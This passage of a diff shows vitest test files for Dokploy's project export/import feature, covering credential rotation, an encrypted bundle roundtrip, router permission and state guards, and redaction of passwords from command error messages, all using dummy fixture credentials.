scope: baseScope,
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: captureResult.inventory.totals,
},
resources: captureResult.resources,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
};
const plan: Plan = await buildPlan(
db,
snapshot,
"org-dest",
{ kind: "newProject", name: "imported-project" },
{ rotateDatabaseCredentials },
);
const insertedByTable = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const idFieldByTable = new Map<unknown, string>([
[projects, "projectId"],
[applications, "applicationId"],
[postgres, "postgresId"],
[mounts, "mountId"],
]);
const environmentsTable = (await import("@dokploy/server/db/schema"))
.environments;
idFieldByTable.set(environmentsTable, "environmentId");
const writeDb = {
query: {
vaultProvider: { findFirst: async () => undefined },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
applications: {
findFirst: async () => (insertedByTable.get(applications) ?? [])[0],
},
postgres: {
findFirst: async () => (insertedByTable.get(postgres) ?? [])[0],
},
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: {
findMany: async (args?: { where?: unknown }) =>
(insertedByTable.get(mounts) ?? []).filter((row) =>
args?.where ? row.type === "file" : true,
),
},
projects: {
findFirst: async () => (insertedByTable.get(projects) ?? [])[0],
},
environments: {
findFirst: async () =>
(insertedByTable.get(environmentsTable) ?? [])[0],
},
compose: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const idField = idFieldByTable.get(table);
const row = { ...values };
if (idField) {
row[idField] =
(values[idField] as string | undefined) ??
`new-${idField}-${++counter}`;
}
const list = insertedByTable.get(table) ?? [];
list.push(row);
insertedByTable.set(table, list);
return { returning: async () => [row] };
},
}),
update: (table: unknown) => ({
set: (values: Record<string, unknown>) => ({
where: async (condition: any) => {
const chunks = condition?.queryChunks ?? [];
const paramChunk = chunks.find(
(c: any) => c?.constructor?.name === "Param",
);
const columnChunk = chunks.find(
(c: any) => typeof c?.name === "string",
);
const list = insertedByTable.get(table) ?? [];
for (const row of list) {
if (
!columnChunk ||
!paramChunk ||
row[columnChunk.name] === paramChunk.value
) {
Object.assign(row, values);
}
}
},
}),
}),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => {
return fn({ ...writeDb });
},
} as any as TransferWriteDb;
const result = await apply(
writeDb,
snapshot,
plan,
captureResult.secretsPlain,
"org-dest",
);
return {
result,
insertedPostgres: (insertedByTable.get(postgres) ?? [])[0] as Record<
string,
unknown
>,
insertedApps: insertedByTable.get(applications) ?? [],
insertedMounts: insertedByTable.get(mounts) ?? [],
};
};
describe("apply() with rotateDatabaseCredentials (opt-in)", () => {
it("rotates the postgres password, rewrites the referencing app's env, build args and file mount, and warns about the app with no reference", async () => {
const { result, insertedPostgres, insertedApps, insertedMounts } =
await runApplyForRotationTest(true);
expect(insertedPostgres.databasePassword).not.toBe("realdbpassword123");
expect(typeof insertedPostgres.databasePassword).toBe("string");
const referencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-1"],
);
const nonReferencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-2"],
);
expect(String(referencingApp?.env)).toContain(
String(insertedPostgres.databasePassword),
);
expect(String(referencingApp?.env)).not.toContain("realdbpassword123");
expect(String(referencingApp?.buildArgs)).toBe(
`BUILD_DB_PASS=${insertedPostgres.databasePassword}`,
);
expect(String(insertedMounts[0]?.content)).toBe(
`password = ${insertedPostgres.databasePassword}`,
);
expect(String(nonReferencingApp?.env)).toBe("UNRELATED=1");
expect(result.rotations).toHaveLength(1);
expect(result.rotations[0]).toMatchObject({
field: "databasePassword",
occurrences: 3,
});
expect(
result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"),
).toBe(true);
});
it("leaves the password untouched when rotateDatabaseCredentials is false (the default)", async () => {
const { result, insertedPostgres, insertedApps } =
await runApplyForRotationTest(false);
expect(insertedPostgres.databasePassword).toBe("realdbpassword123");
const referencingApp = insertedApps.find(
(a) => a.applicationId === result.idMap.application?.["app-1"],
);
expect(String(referencingApp?.env)).toContain("realdbpassword123");
expect(result.rotations).toHaveLength(0);
expect(
result.warnings.some((w) => w.code === "ROTATION_CHECK_CONSUMERS"),
).toBe(false);
});
});
@@ -1,468 +0,0 @@
import { mkdtemp, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
applications,
compose,
domains,
mounts,
ports,
projects,
registry,
schedules,
security,
} from "@dokploy/server/db/schema";
import type {
ExportScope,
TransferDb,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
buildPlan,
capture,
detectRequirements,
detectWarnings,
inspectBundle,
LOCAL_SERVER_CANDIDATE_ID,
serialize,
unlockBundle,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: "registry-src-1",
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [
{ domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" },
],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "server { listen 80; }",
mountPath: "/etc/nginx/nginx.conf",
serviceType: "application",
createdAt: "2024-01-01",
},
],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpass",
createdAt: "2024-01-01",
},
],
ports: [
{
portId: "port-1",
publishedPort: 8080,
publishMode: "host",
targetPort: 80,
protocol: "tcp",
},
],
schedules: [],
volumeBackups: [],
};
const composeService = {
composeId: "compose-1",
name: "my-compose",
appName: "my-compose-def456",
environmentId: "env-1",
env: "",
serverId: null,
composeFile: "services:\n web:\n image: nginx\n",
sourceType: "raw",
composeType: "docker-compose",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
backups: [],
schedules: [
{
scheduleId: "schedule-1",
name: "nightly-restart",
cronExpression: "0 0 * * *",
shellType: "bash",
scheduleType: "compose",
command: "docker compose restart",
createdAt: "2024-01-01T00:00:00.000Z",
},
],
volumeBackups: [],
};
const emptyServiceArrays = {
postgres: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-src",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
compose: [composeService],
...emptyServiceArrays,
},
],
};
const readDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: {
findMany: async () => [application],
findFirst: async () => undefined,
},
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-dest-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-dest",
},
],
},
registry: {
findMany: async () => [
{
registryId: "registry-src-1",
registryName: "Acme",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
username: "user",
password: "pass",
organizationId: "org-src",
},
],
findFirst: async () => ({
registryId: "registry-src-1",
registryName: "Acme",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
username: "user",
password: "pass",
organizationId: "org-src",
}),
},
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
gitProvider: { findMany: async () => [] },
server: {
findMany: async () => [],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
sshKeys: { findMany: async () => [] },
domains: { findMany: async () => [] },
postgres: {
findMany: async () => [],
findFirst: async () => undefined,
},
mysql: {
findMany: async () => [],
findFirst: async () => undefined,
},
mariadb: {
findMany: async () => [],
findFirst: async () => undefined,
},
mongo: {
findMany: async () => [],
findFirst: async () => undefined,
},
redis: {
findMany: async () => [],
findFirst: async () => undefined,
},
libsql: {
findMany: async () => [],
findFirst: async () => undefined,
},
ports: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: { registry: "value" },
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
let workDir: string;
let outDir: string;
let extractDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-out-"));
extractDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-extract-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
await rm(extractDir, { recursive: true, force: true });
});
describe("transfer roundtrip: capture -> serialize -> deserialize -> plan -> apply", () => {
it("re-creates the project with equivalent values, remapped ids/appNames/serverId, and no plaintext secrets anywhere along the way", async () => {
const db = readDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) =>
detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-src",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
await inspectBundle(local(bundlePath), local(extractDir));
const unlocked = await unlockBundle(local(extractDir), PASSPHRASE);
const plan = await buildPlan(
db,
unlocked.snapshot,
"org-dest",
{ kind: "newProject", name: "imported-project" },
{
resolutions: {
"server:null": {
requirementKey: "server:null",
action: "reuse",
targetId: LOCAL_SERVER_CANDIDATE_ID,
},
},
},
);
expect(
plan.resolutions[
Object.keys(plan.resolutions).find((k) => k.startsWith("vault:"))!
]?.action,
).toBe("reuse");
expect(
plan.resolutions[
Object.keys(plan.resolutions).find((k) => k.startsWith("registry:"))!
]?.action,
).toBe("reuse");
expect(plan.pendingServices).toEqual([]);
const insertedByTable = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const idFieldByTable = new Map<unknown, string>([
[projects, "projectId"],
[applications, "applicationId"],
[compose, "composeId"],
[domains, "domainId"],
[mounts, "mountId"],
[ports, "portId"],
[security, "securityId"],
[registry, "registryId"],
[schedules, "scheduleId"],
]);
const environmentsTable = (await import("@dokploy/server/db/schema"))
.environments;
idFieldByTable.set(environmentsTable, "environmentId");
const writeDb = {
query: {
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-dest-1",
name: "prod",
organizationId: "org-dest",
assignments: [],
}),
},
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
organizationId: "org-dest",
}),
},
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const idField = idFieldByTable.get(table);
const row = { ...values };
if (idField) {
row[idField] =
(values[idField] as string | undefined) ??
`new-${idField}-${++counter}`;
}
const list = insertedByTable.get(table) ?? [];
list.push(row);
insertedByTable.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => {
const tx = { ...writeDb };
return fn(tx);
},
} as any as TransferWriteDb;
const result = await apply(
writeDb,
unlocked.snapshot,
plan,
unlocked.secretsPlain,
"org-dest",
);
const projectRow = (insertedByTable.get(projects) ?? [])[0] as Record<
string,
unknown
>;
expect(projectRow.projectId).not.toBe("project-1");
// The shared fake db also reports "imported-project" as an existing project, so the name conflict is auto-renamed.
expect(projectRow.name).toBe("imported-project (imported)");
expect(result.idMap.project?.["project-1"]).toBe(projectRow.projectId);
const insertedApp = (insertedByTable.get(applications) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedApp.applicationId).not.toBe("app-1");
expect(insertedApp.appName).not.toBe("my-app-abc123");
expect(insertedApp.env).toBe(
"DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token",
);
expect(insertedApp.registryId).toBe("registry-src-1");
expect(insertedByTable.get(registry) ?? []).toHaveLength(0);
const insertedCompose = (insertedByTable.get(compose) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedCompose.composeId).not.toBe("compose-1");
expect(insertedCompose.appName).not.toBe("my-compose-def456");
expect(insertedCompose.composeFile).toBe(composeService.composeFile);
const insertedSchedule = (insertedByTable.get(schedules) ?? [])[0] as
| Record<string, unknown>
| undefined;
expect(insertedSchedule?.composeId).toBe(insertedCompose.composeId);
expect(insertedSchedule?.organizationId).toBe("org-dest");
const insertedDomain = (insertedByTable.get(domains) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedDomain.host).toBe("app-1.example.com");
expect(insertedDomain.applicationId).toBe(insertedApp.applicationId);
const insertedMount = (insertedByTable.get(mounts) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedMount.content).toBe("server { listen 80; }");
const insertedSecurity = (insertedByTable.get(security) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedSecurity.password).toBe("basicauthpass");
const insertedPort = (insertedByTable.get(ports) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedPort.publishedPort).toBe(8080);
const serializedInserts = JSON.stringify([...insertedByTable.values()]);
expect(serializedInserts).not.toContain("$secret:");
expect(serializedInserts).not.toContain("webhook-token");
}, 30_000);
});
@@ -1,577 +0,0 @@
import { describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
vi.mock("@/server/utils/billing", () => ({
getCurrentPlan: vi.fn(async () => null),
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
validatePlan: vi.fn(async () => []),
inspectBundle: vi.fn(async () => {
throw new Error("inspectBundle not stubbed for this test");
}),
};
},
);
const {
createImportJob,
getImportJob,
createExportJob,
exportScopeSchema,
assertTransferPermission,
validatePlan,
updateImportJob,
inspectBundle,
UnsupportedBundleVersionError,
} = await import("@dokploy/server/services/project-export-import");
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const ctxFor = (organizationId: string, userId = "user-1") =>
({
session: { activeOrganizationId: organizationId },
user: { id: userId, email: "a@b.com" },
}) as any;
describe("projectExportImportRouter.importStart", () => {
it("rejects with BAD_REQUEST when importPlan hasn't run yet, after checking permission", async () => {
const importId = "import-router-1";
createImportJob(importId, "user-1", "org-1");
const callCountBefore = (assertTransferPermission as any).mock.calls.length;
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
expect((assertTransferPermission as any).mock.calls.length).toBeGreaterThan(
callCountBefore,
);
});
it("returns NOT_FOUND for a job belonging to another organization", async () => {
const importId = "import-router-3";
createImportJob(importId, "user-1", "org-2");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "NOT_FOUND",
});
});
it("calls validatePlan and rejects with BAD_REQUEST when a check fails", async () => {
const userId = "user-validate-a";
const importId = "import-router-validate-1";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:taken-name", ok: false, detail: "Already in use" },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
expect(validatePlan).toHaveBeenCalled();
});
it("proceeds past validation when every check passes", async () => {
const userId = "user-validate-b";
const importId = "import-router-validate-2";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
const result = await caller.importStart({ importId });
expect(result).toEqual({ success: true });
});
it("rejects with CONFLICT when the user already has a different transfer active", async () => {
const userId = "user-validate-c";
const busyImportId = "import-router-busy-1";
createImportJob(busyImportId, userId, "org-1");
const importId = "import-router-validate-3";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
it("does not treat the job's own already-active status as a conflict with itself", async () => {
const userId = "user-validate-d";
const importId = "import-router-validate-4";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
const result = await caller.importStart({ importId });
expect(result).toEqual({ success: true });
});
it("re-checks target.projectId's org via assertTransferPermission for an existingProject target", async () => {
const userId = "user-validate-e";
const importId = "import-router-validate-5";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: {
kind: "existingProject",
projectId: "project-other-org",
environmentName: "imported",
},
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await caller.importStart({ importId }).catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBe("project-other-org");
});
});
describe("projectExportImportRouter.importInspect (T-6.20)", () => {
it("maps UnsupportedBundleVersionError to BAD_REQUEST with its guidance message", async () => {
const importId = "import-router-inspect-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
root: local("/tmp/does-not-matter"),
bundle: local("/tmp/does-not-matter.tar.gz"),
});
(inspectBundle as any).mockRejectedValueOnce(
new UnsupportedBundleVersionError(2, 1),
);
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importInspect({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
message: expect.stringContaining("newer version of Dokploy"),
});
});
});
describe("projectExportImportRouter guards", () => {
it("refuses to start an import that is not in the planned state", async () => {
const importId = "import-router-not-planned";
createImportJob(importId, "user-not-planned", "org-1");
updateImportJob(importId, {
status: "applying",
snapshot: { resources: { services: [] } } as any,
plan: { target: { kind: "newProject", name: "x" } } as any,
});
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-not-planned"),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
it("only lets the user who started the import reveal its secrets", async () => {
const importId = "import-router-other-user";
createImportJob(importId, "user-a", "org-1");
updateImportJob(importId, {
status: "unlocked",
snapshot: { resources: { services: [], shared: {} } } as any,
secretsPlain: new Map([["s", "v"]]),
});
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-b"),
);
await expect(
caller.importSecretReveal({ importId, secretId: "s" }),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("restores the original secret when an override is dropped from a later call", async () => {
const importId = "import-router-override-reset";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
status: "unlocked",
snapshot: {
resources: {
services: [],
shared: {
registry: [{ registryName: "ghcr", password: "$secret:reg-1" }],
},
},
} as any,
secretsPlain: new Map([["reg-1", "original"]]),
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller.importSecretsOverride({
importId,
overrides: { "reg-1": "replaced" },
});
expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("replaced");
await caller.importSecretsOverride({ importId, overrides: {} });
expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("original");
});
it("only deletes objects that look like export bundles", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-delete-bundle"),
);
await expect(
caller.deleteRemoteBundle({
destinationId: "dest-1",
key: "backups/production.sql.gz",
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
it("reports unknown or foreign export ids as errors in exportBatchStatus", async () => {
createExportJob("batch-other-org", "user-1", "org-2");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.exportBatchStatus({ exportIds: ["nope", "batch-other-org"] }),
).resolves.toEqual([
{ exportId: "nope", status: "error", error: "Export not found" },
{
exportId: "batch-other-org",
status: "error",
error: "Export not found",
},
]);
});
it("parses the full organization scope and a bare preview scope with defaults", async () => {
const full = exportScopeSchema.parse({ dumps: { mode: "embed" } });
expect(full).toEqual({
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
});
expect(exportScopeSchema.parse({}).dumps.mode).toBe("none");
});
it("rejects an organization export to a destination the organization does not own", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-org-export"),
);
await expect(
caller.exportOrganizationStart({
destinationId: "dest-of-org-2",
passphrase: "a-long-enough-passphrase",
projectIds: ["project-1"],
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects exportStart with a destination the organization does not own", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-export-dest"),
);
await expect(
caller.exportStart({
projectId: "project-1",
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
passphrase: "a-long-enough-passphrase",
deliver: { kind: "destination", destinationId: "dest-of-org-2" },
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
});
describe("projectExportImportRouter.importValidate", () => {
it("rejects with BAD_REQUEST before importPlan ran", async () => {
const importId = "import-router-validate-early";
createImportJob(importId, "user-validate-early", "org-1");
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-validate-early"),
);
await expect(caller.importValidate({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
});
it("stores the checks on the plan and returns them", async () => {
const importId = "import-router-validate-store";
createImportJob(importId, "user-validate-store", "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
target: { kind: "newProject", name: "x" },
validation: [],
} as any,
});
(validatePlan as any).mockReset();
(validatePlan as any).mockResolvedValue([
{ check: "server:local", ok: false, detail: "unreachable" },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-validate-store"),
);
const result = await caller.importValidate({ importId });
(validatePlan as any).mockReset();
(validatePlan as any).mockResolvedValue([]);
expect(result.checks).toEqual([
{ check: "server:local", ok: false, detail: "unreachable" },
]);
const status = await caller.importStatus({ importId });
expect(status.plan?.validation).toEqual(result.checks);
});
});
describe("projectExportImportRouter.importUnlock (T-9.6)", () => {
it("rejects a passphrase under 12 characters at the input-validation layer", async () => {
const importId = "import-router-unlock-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, { workDir: local("/tmp/does-not-matter") });
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importUnlock({ importId, passphrase: "short" }),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
});
describe("projectExportImportRouter.importPlan", () => {
it("rejects with BAD_REQUEST when importUnlock hasn't run yet", async () => {
const importId = "import-router-4";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importPlan({
importId,
target: { kind: "newProject", name: "imported" },
choices: {},
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
it("passes target.projectId to assertTransferPermission for an existingProject target", async () => {
const importId = "import-router-5";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller
.importPlan({
importId,
target: {
kind: "existingProject",
projectId: "project-other-org",
environmentName: "imported",
},
choices: {},
})
.catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBe("project-other-org");
});
it("passes undefined projectId to assertTransferPermission for a newProject target", async () => {
const importId = "import-router-6";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller
.importPlan({
importId,
target: { kind: "newProject", name: "imported" },
choices: {},
})
.catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBeUndefined();
});
it("blocks importing a multi-environment bundle into an existing project that can't fit all of them (T-6.16)", async () => {
const { getCurrentPlan } = await import("@/server/utils/billing");
(getCurrentPlan as any).mockResolvedValueOnce("hobby");
const importId = "import-router-env-limit-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
snapshot: {
resources: { environments: [{}, {}, {}], services: [] },
} as any,
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importPlan({
importId,
target: {
kind: "existingProject",
projectId: "project-1",
environmentName: "imported",
},
choices: {},
}),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
});
describe("projectExportImportRouter.importCancel", () => {
it("returns NOT_FOUND for an unknown importId", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importCancel({ importId: "does-not-exist" }),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("maps a still-running import to CONFLICT", async () => {
const importId = "import-cancel-router-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, { status: "restoring" });
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importCancel({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
});
describe("projectExportImportRouter.exportCancel (T-6.7)", () => {
it("maps a still-running export to CONFLICT", async () => {
const exportId = "export-cancel-router-1";
const job = createExportJob(exportId, "user-1", "org-1");
job.status = "dumping";
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.exportCancel({ exportId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
});
describe("projectExportImportRouter *Status permission gating (T-5.2)", () => {
it("exportStatus and importStatus both reject a non-owner/admin with FORBIDDEN", async () => {
const exportId = "export-status-forbidden-1";
createExportJob(exportId, "user-1", "org-1");
const importId = "import-status-forbidden-1";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
const { TRPCError } = await import("@trpc/server");
const forbidden = () =>
new TRPCError({
code: "FORBIDDEN",
message: "Only organization owners and admins can do that",
});
(assertTransferPermission as any).mockRejectedValueOnce(forbidden());
await expect(caller.exportStatus({ exportId })).rejects.toMatchObject({
code: "FORBIDDEN",
});
(assertTransferPermission as any).mockRejectedValueOnce(forbidden());
await expect(caller.importStatus({ importId })).rejects.toMatchObject({
code: "FORBIDDEN",
});
});
it("exportStatus still returns downloadToken to an authorized caller (the UI needs it to build the download link)", async () => {
const exportId = "export-status-token-1";
createExportJob(exportId, "user-1", "org-1");
const { updateExportJob } = await import(
"@dokploy/server/services/project-export-import"
);
updateExportJob(exportId, {
status: "done",
downloadToken: "tok-abc123",
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
const result = await caller.exportStatus({ exportId });
expect((result as any).downloadToken).toBe("tok-abc123");
});
});
@@ -1,41 +0,0 @@
import { safeErrorMessage } from "@dokploy/server/services/project-export-import";
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it } from "vitest";
describe("safeErrorMessage (T-4.2)", () => {
it("never includes the command (which may embed a plaintext password) for an ExecError", () => {
const error = new ExecError(
"Command execution failed: Command failed: PGPASSWORD=realpassword123 pg_dump -U dokploy mydb",
{
command: "PGPASSWORD=realpassword123 pg_dump -U dokploy mydb",
stderr:
"pg_dump: error: connection failed: FATAL: password authentication failed",
exitCode: 1,
},
);
const message = safeErrorMessage(error);
expect(message).not.toContain("realpassword123");
expect(message).not.toContain("PGPASSWORD");
expect(message).toContain("exit code 1");
expect(message).toContain("password authentication failed");
});
it("falls back to a generic message when an ExecError has no stderr", () => {
const error = new ExecError("Command execution failed", {
command: "PGPASSWORD=secret pg_dump",
});
const message = safeErrorMessage(error);
expect(message).not.toContain("secret");
expect(message).toBe("Command failed");
});
it("passes a plain Error's message through unchanged", () => {
expect(safeErrorMessage(new Error("Service not found"))).toBe(
